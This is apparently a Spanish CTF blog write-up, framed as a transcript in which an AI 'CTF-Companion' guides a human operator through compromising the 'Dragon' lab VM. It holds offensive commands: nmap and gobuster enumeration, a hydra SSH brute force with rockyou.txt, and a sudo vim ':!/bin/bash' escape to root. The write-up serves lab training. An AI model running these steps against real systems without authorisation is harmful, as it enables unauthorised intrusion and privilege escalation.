Write-ups

Resolución del CTF: Dragon


Lo que hace único a este writeup es el método. Esta no es una resolución tradicional; es la transcripción completa de un experimento. En esta sesión, un Operador humano (el usuario) se encargó de ejecutar todos los comandos, mientras que una IA (bajo el rol de CTF-Companion) actuó como el Analista, interpretando cada resultado y decidiendo el siguiente paso a seguir.

Sigue nuestro camino, con sus aciertos, sus atascos y sus éxitos, desde el nmap inicial hasta la shell de root.


Fase 1: Reconocimiento y Enumeración

🤖 CTF-Companion (Inicio): [CTF-Companion ACTIVADO] Perfecto. Objetivo fijado: 192.168.1.38. Comenzamos con la fase de Reconocimiento y Escaneo. Por favor, ejecuta el siguiente comando y envíame la salida completa:

nmap -p- -sS --open --min-rate 5000 -T4 -n -v -oN all_ports.nmap 192.168.1.38

👤 Operador (Salida de Nmap):

nmap -p- -sS --open --min-rate 5000 -T4 -n -v -oN all_ports.nmap 192.168.1.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 06:13 UTC
...
Discovered open port 80/tcp on 192.168.1.38
Discovered open port 22/tcp on 192.168.1.38
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:43:3B:40 (Oracle VirtualBox virtual NIC)
...
Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Perfecto. Puertos Abiertos: 22/tcp (ssh) y 80/tcp (http). El puerto 80 es nuestro vector de ataque principal. Ahora necesitamos saber qué se está ejecutando exactamente. Por favor, ejecuta:

nmap -p 22,80 -sV -sC -oN targeted_scan.nmap 192.168.1.38

👤 Operador (Salida de Nmap Detallado):

nmap -p 22,80 -sV -sC -oN targeted_scan.nmap 192.168.1.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 06:14 UTC
Nmap scan report for 192.168.1.38
Host is up (0.00022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)
...
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: La M\xC3\xA1quina del Drag\xC3\xB3n
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Las versiones (OpenSSH 9.6p1 y Apache 2.4.58) son modernas, por lo que es improbable un exploit directo. El ataque debe estar en la aplicación web. Ahora debemos encontrar archivos y directorios ocultos.

gobuster dir -u http://192.168.1.38 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster.log

👤 Operador (Salida de Gobuster):

┌─[user@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.38 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster.log
===============================================================
Gobuster v3.6
...
[+] Url:                     http://192.168.1.38
...
/index.html            (Status: 200) [Size: 981]
/secret                (Status: 301) [Size: 313] [--> http://192.168.1.38/secret/]
/server-status         (Status: 403) [Size: 277]
...
===============================================================
Finished

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] /secret (Status: 301) ¡Bingo! El 301 confirma que es un directorio. Ahora necesitamos escanear dentro de /secret/.

gobuster dir -u http://192.168.1.38/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster_secret.log

👤 Operador (Salida de Gobuster 2):

┌─[user@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.38/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster_secret.log
...
/index.html            (Status: 200) [Size: 923]
...
===============================================================
Finished

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Este escaneo es un callejón sin salida automatizado. Sin embargo, no hemos mirado el contenido de las páginas. A menudo hay pistas en el código fuente HTML.

curl http://192.168.1.38

👤 Operador (Salida de Curl 1):

$curl http://192.168.1.38
<!DOCTYPE html>
<html lang="es">
<head>
  <title>La Máquina del Dragón</title>
...
</head>
<body>
  <h1>🐉 Bienvenido a la Máquina del Dragón 🐉</h1>
  <p>¿Serás capaz de conquistar sus secretos ocultos?</p>

  <div class="hint">
    Algunos caminos no están a simple vista...<br>
  </div>
</body>
</html>

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] La página raíz no tiene pistas. Sin embargo, encontramos /secret/index.html. Vamos a examinar esa página.

curl http://192.168.1.38/secret/

👤 Operador (Salida de Curl 2):

$curl http://192.168.1.38/secret/
<!DOCTYPE html>
<html lang="es">
<head>
    <title>Secreto de Dragon Machine</title>
...
</head>
<body>
    <div class="riddle">
        <h1>Para Dragon:</h1>
        <p>“En la sombra de la cueva, un guardián vigila sin ver,<br>
        Su nombre es la clave, su fuerza, un misterio por resolver.<br>
        Intenta sin pausa, las llaves del dragón,<br>
        Y hallarás el secreto que abre la prisión.”</p>
    </div>
</body>
</html>

Fase 2: Atasco de Hipótesis (La Pista Falsa)

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Esto es un rompecabezas!

  1. «Para Dragon:»: Esto es un indicador muy fuerte. dragon es probablemente un usuario.
  2. El Acertijo: Un «guardián que vigila sin ver» es comúnmente una Gárgola.
  3. Credenciales Probables: Usuario: dragon / Contraseña: gargola.

Vamos a probar esto en el servicio SSH.

ssh [email protected]

(Se le indica al Operador que use gargola como contraseña)

👤 Operador (Salida de SSH):

ssh [email protected]
...
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password:

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Nuestra hipótesis de contraseña era incorrecta. Volvemos a la enumeración. Vamos a comprobar robots.txt y nikto.

curl http://192.168.1.38/robots.txt

👤 Operador (Salida de Curl 3):

$curl http://192.168.1.38/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
...

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] 404 Not Found. robots.txt no existe. Pasemos a nikto

nikto -h http://192.168.1.38 -o nikto_scan.txt

👤 Operador (Salida de Nikto):

$nikto -h http://192.168.1.38 -o nikto_scan.txt
- Nikto v2.5.0
...
+ Server: Apache/2.4.58 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
...
+ /secret/: This might be interesting.
...
+ 5 item(s) reported on remote host
...

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Nikto ha identificado algunas cabeceras faltantes, pero ningún vector de ataque directo.

[Atasco del Analista] (Aquí, la IA intenta varias hipótesis basadas en la pista «gargola» y «llaves del dragón», como curl ... /secret/gargola.txt, curl ... /secret/gargola/, y curl ... /id_rsa. Todas fallan con un 404 Not Found).

👤 Operador (Intervención Humana):

te has bloqueado. Tomate el tiempo que necesites y analiza todo lo que tienes, los tests que has realizado, los resultados y otras alternativas. NO te ofusques en una única vía … te voy a dar una pista, hydra

Fase 3: Explotación y Acceso Inicial

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Pista recibida: hydra. Tienes razón. La pista hydra cambia radicalmente nuestra estrategia. Significa que el método es fuerza bruta de contraseña.

  1. Servicio Objetivo: ssh (Puerto 22).
  2. Usuario Objetivo: dragon.
  3. Herramienta: hydra.
  4. Lista de Contraseñas: rockyou.txt.

Vamos a proceder.

hydra -l dragon -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.38 -t 4

👤 Operador (Salida de Hydra):

$hydra -l dragon -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.38
Hydra v9.4 ...
...
[DATA] attacking ssh://192.168.1.38:22/
[22][ssh] host: 192.168.1.38   login: dragon   password: shadow
1 of 1 target successfully completed, 1 valid password found
...
Hydra ... finished at 2025-11-11 06:38:42

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Excelente! Hydra ha encontrado la contraseña.

  • Usuario: dragon
  • Contraseña: shadow

La pista de la «gárgola» era una distracción. Ahora, vamos a iniciar sesión.

ssh [email protected]

👤 Operador (Acceso SSH Exitoso):

$ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 24.04.2 LTS ...
...
Last login: Tue Aug  5 08:13:55 2025 from 192.168.18.16
dragon@TheHackersLabs-Dragon:~$ 

dragon@TheHackersLabs-Dragon:~$ ls -la
total 40
drwxr-x--- 5 dragon dragon 4096 ago  3 01:05 .
drwxr-xr-x 3 root   root   4096 jul 31 20:39 ..
...
-rw-r--r-- 1 root   root     33 ago  1 01:04 user.txt
dragon@TheHackersLabs-Dragon:~$

Fase 4: Escalada de Privilegios

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Acceso conseguido! Observación Crítica: user.txt es propiedad de root, pero los permisos (-rw-r--r--) significan que «otros» (nuestro usuario dragon) puede leerlo.

Vamos a leer la bandera y comenzar la escalada de privilegios comprobando los permisos de sudo.

cat user.txt
sudo -l

(Se le indica al Operador que use shadow como contraseña para sudo)

👤 Operador (Flags de Usuario y Sudo):

dragon@TheHackersLabs-Dragon:~$ cat user.txt 
e1f9c************
dragon@TheHackersLabs-Dragon:~$ sudo -l
Matching Defaults entries for dragon on TheHackersLabs-Dragon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dragon may run the following commands on TheHackersLabs-Dragon:
    (ALL) NOPASSWD: /usr/bin/vim
dragon@TheHackersLabs-Dragon:~$

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Bandera de usuario capturada! Vector de Escalada: (ALL) NOPASSWD: /usr/bin/vim.

Este es un vector clásico. El sistema nos permite ejecutar vim como root y sin contraseña. vim puede ejecutar comandos del sistema.

Paso 1: Ejecuta el siguiente comando para abrir vim como root:

sudo /usr/bin/vim

Paso 2: Una vez dentro de la interfaz de vim, escribe exactamente lo siguiente y presiona Enter:

:!/bin/bash

Paso 3: Por favor, envíame la salida de los siguientes comandos para confirmar:

whoami
id

👤 Operador (Escalada Exitosa):

dragon@TheHackersLabs-Dragon:~$ sudo /usr/bin/vim
root@TheHackersLabs-Dragon:/home/dragon# whoami 
root
root@TheHackersLabs-Dragon:/home/dragon# id
uid=0(root) gid=0(root) groups=0(root)
root@TheHackersLabs-Dragon:/home/dragon#

🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS]

  • whoami -> root
  • id -> uid=0(root)

¡Escalada de Privilegios Exitosa! Hemos obtenido una shell interactiva como root.

La misión final es encontrar y leer la bandera root.txt.

cd /root
ls -la
cat root.txt

(El Operador combinó el último paso)

👤 Operador (Flag de Root):

root@TheHackersLabs-Dragon:/home/dragon# cat /root/root.txt 
7a4d***************
root@TheHackersLabs-Dragon:/home/dragon#

Fase 5: Misión Completada

🤖 CTF-Companion (Debriefing): [CTF-Companion MISIÓN COMPLETA] ¡Máquina comprometida!

Flag de Root: 7a4d

Hemos navegado con éxito todas las fases del pentest y hemos obtenido acceso completo de root mediante la colaboración Operador-Analista.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *